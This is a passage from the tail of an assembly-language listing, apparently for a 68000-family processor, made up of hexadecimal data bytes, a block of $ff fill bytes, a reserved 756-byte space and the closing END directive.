  614.          dc.b     $25,$2d,$7e,$55,$d6,$44
  615.          dc.b     $59,$a9,$d2,$0c,$46,$ae
  616.          dc.b     $f6,$0a,$46,$a7,$a9,$f4
  617.          dc.b     $39,$5a,$5f
  618.          dcb.b    22,$ff
  619.          dc.b     $db,$a3,$2a,$2a,$6a,$8c
  620.          dc.b     $37,$42,$cf,$0b,$83,$80
  621.          dc.b     $04,$03,$ce,$0e,$5c,$60
  622.          dc.b     $04,$0c,$19,$80,$40,$00
  623.          dc.b     $30,$13,$cc,$d2,$00,$0a
  624.          dc.b     $30,$09
  625.          ds.b  756
  626.  
  627.  
  628.  
  629.          END
  630.  
  631.